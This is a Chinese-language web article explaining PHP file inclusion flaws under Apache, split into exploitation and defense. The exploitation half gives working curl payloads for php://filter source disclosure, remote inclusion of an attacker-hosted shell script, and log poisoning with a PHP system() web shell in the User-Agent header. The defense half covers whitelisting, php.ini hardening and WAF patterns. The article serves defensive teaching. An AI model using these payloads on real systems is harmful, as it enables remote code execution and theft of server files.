广告位 · 页头(后台-模块管理-新建模块后替换此区域)

Apache环境中文件包含漏洞如何利用与彻底防范?

文件包含漏洞并非新问题,但在 Apache 与 PHP 组合的 Web 应用里依旧频繁出现。它不像 SQL 注入那样需要绕过层层过滤,也不像反序列化漏洞那样依赖复杂数据结构,攻击者只要找到一个能够影响包含路径的参数,就可能读取任意文件,甚至将服务器日志变成脚本执行入口。理解这条链路,对后续加固非常有帮助。

Apache环境中文件包含漏洞如何利用与彻底防范?

一、漏洞成因:动态包含与 Apache 环境的放大效应

核心问题出在开发者把用户输入直接交给包含函数。PHP 的 include、require、include_once 等函数在设计上接受字符串路径,如果路径完全来自 HTTP 参数,那么攻击者就能用相对路径跳转离开应用目录。比如下面这段代码就是一个典型的危险写法:

<?php
$page = $_GET['page'];
include($page);
?>

这段代码没有任何白名单校验,攻击者可以控制 page 参数。Apache 本身不会阻止这种路径穿越,因为 Web 服务器只负责把 HTTP 请求交给 PHP,文件系统读取发生在 PHP 进程内。默认情况下,PHP 运行在 www-data 或 apache 用户下,只要该用户对 /etc/passwd 有读权限,本地文件包含就能读取成功。Apache 常见的固定日志路径和公开目录结构,进一步给利用者提供了可预测的目标。

还有一个容易被忽略的放大效应来自 Apache 的日志记录行为。当攻击者访问一个不存在的页面时,Apache 会把完整 URL 写入 error.log 或 access.log。如果 URL 中包含 PHP 代码,那么这些代码会原样进入日志文件。之后只要应用存在一个任意文件包含点,攻击者就可以通过包含日志文件来执行其中的 PHP 代码,这就是日志投毒。

二、四条核心利用路径拆解

根据目标环境和配置不同,文件包含漏洞的利用可以分成四类:本地文件包含、远程文件包含、伪协议包含以及 Apache 日志投毒。每一种路径的利用条件、影响范围和检测方式都有区别。

本地文件包含通常影响最大的是信息泄露。攻击者反复添加 ../ 来穿越目录,读取 /etc/passwd、配置文件、源码备份等。读取的如果是 PHP 源码,由于 PHP 文件被解析,直接包含不会返回源码,但攻击者仍可能借助 php://filter 将源码以 base64 形式输出。例如:

curl -s "http://ipipp.com/index.php?page=php://filter/convert.base64-encode/resource=config.php"

远程文件包含则更进一步,直接在目标服务器上执行攻击者服务器上的脚本。前提是 PHP 配置中 allow_url_include 被设置为 On,并且 allow_url_fopen 同样开放。攻击者可先在自己的服务器放置 shell.txt,然后请求:

curl -s "http://ipipp.com/index.php?file=http://ipipp.com/shell.txt"

当远程包含不可用时,攻击者会寻找伪协议。php://input 允许把 POST 请求体当作文件内容包含进来,适合包含一段 PHP 代码。data:// 协议可以把 base64 编码的代码直接作为文件流,而 expect:// 在高权限环境下可以执行系统命令。Apache 与 PHP 的组合中,php://input 最为常见,因为只要 allow_url_include 打开即可利用。

Apache 日志投毒是最具迷惑性的一类利用。它不仅不需要外网服务器,还能把本地漏洞直接转化为代码执行。攻击者先构造一个包含 PHP 代码的 User-Agent 或请求路径,让 Apache 写入日志,再用漏洞点包含该日志。下面是一个简单示例:

curl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>" "http://ipipp.com/index.php?page=xxx"

然后请求包含日志文件并传递 cmd 参数:

curl -s "http://ipipp.com/index.php?page=/var/log/apache2/access.log&cmd=id"

需要说明的是,日志路径在不同 Linux 发行版中不同,Debian/Ubuntu 常见 /var/log/apache2/access.log,CentOS/RHEL 常见 /var/log/httpd/access.log。攻击者通常会尝试多个路径,或利用路径穿越覆盖日志轮转目录。

三、三层防御:代码白名单、PHP 配置与 Apache 权限收敛

防御文件包含漏洞不能只靠修补一个参数。真正有效的方案需要从代码层、运行时配置层和 Web 服务器层同时推进,让漏洞即使存在也难以被利用或无法形成命令执行链。

代码层最优先的做法是取消动态包含。如果业务必须根据参数加载不同页面,应当建立页面名到文件路径的映射白名单,而不是直接拼路径。以下写法只允许访问预定义的几个页面:

<?php
$allowed = [
    'home' => 'pages/home.php',
    'about' => 'pages/about.php',
    'contact' => 'pages/contact.php',
];
$page = $_GET['page'] ?? 'home';
if (isset($allowed[$page])) {
    include($allowed[$page]);
} else {
    http_response_code(404);
    echo 'Page not found';
}
?>

这段代码中,即使用户传入 page=../../etc/passwd,也不会命中任何白名单键,最终返回 404。白名单可以提取到配置文件或数据库,但关键是禁止把原始参数拼接到包含路径。对于确实需要动态路径的场景,应当配合 basename() 去除目录跳转,再限制文件扩展名。

PHP 配置层是第二道闸。多数利用链依赖远程文件和伪协议,关闭相关选项能直接阻断远程包含和 php://input。建议在 php.ini 或 php-fpm 池配置中设置:

allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html:/tmp
disable_functions = phpinfo,system,exec,passthru,shell_exec

其中 open_basedir 限制了 PHP 能访问的目录范围,攻击者即使能穿越路径,也跳不出这个边界。disable_functions 虽然容易被绕过,但能增加利用成本,对低水平扫描器有较好阻隔效果。生产环境还应保持 display_errors 为 Off,避免泄露绝对路径。

Apache 层更多是降低攻击者获取日志路径和扩大目录访问的概率。如果应用不需要 SSI,应禁用 mod_include 模块,防止 include 指令在 HTML 中被滥用。对 Apache 日志目录可以单独设置权限,确保 PHP 运行用户不能读取或写入日志目录。更彻底的做法是让日志输出到 syslog,或使用独立的日志收集目录,避免日志与 Web 根目录产生交集。

还可以配置 Apache 的 LimitRequestBody 限制 POST 请求体大小,为 php://input 利用增加额外障碍。WAF 层可设置规则拦截包含 php://、data://、../../ 等特征请求,但要注意误报,最好将 WAF 作为辅助检测而非最终防线。

四、检测验证与持续监控

加固完成后,需要通过主动检测确认漏洞已被收敛。最直接的验证是对此前的包含点发送路径穿越请求:

curl -s "http://ipipp.com/index.php?page=../../../../etc/passwd"

如果返回的是 404、空白页或自定义错误,说明输入没有进入包含函数;如果返回了 passwd 内容,则需要继续排查代码。对于日志投毒,可以在测试环境重放恶意 User-Agent,再尝试包含日志路径,确认不会执行 PHP 代码。

另一方面,生产环境应持续监控日志中的异常参数。海量请求中出现大量 ../、php://filter、allow_url_include 等内容,通常意味着正在被扫描。可以在 SIEM 或日志分析平台中建立规则,对同一 IP 短时间内尝试多个路径穿越的行为进行告警。同时定期使用 PHP 的 php -i 检查配置是否因应用更新被回滚,或使用自动化脚本比对 php.ini 的关键项。

最后,文件包含漏洞的修复不应只着眼于防止命令执行,还要关注敏感文件读取带来的间接影响。数据库配置、证书私钥、源码备份等文件一旦泄露,可能引发更大范围的横向移动。因此,敏感文件权限收紧、Web 根目录中移除备份文件、日志脱敏等工作同样重要。只有把利用链拆解到每一步都难以推进,才能真正控制 Apache 环境下文件包含漏洞的风险。

广告位 · 文章底部(后台-模块管理替换此区域)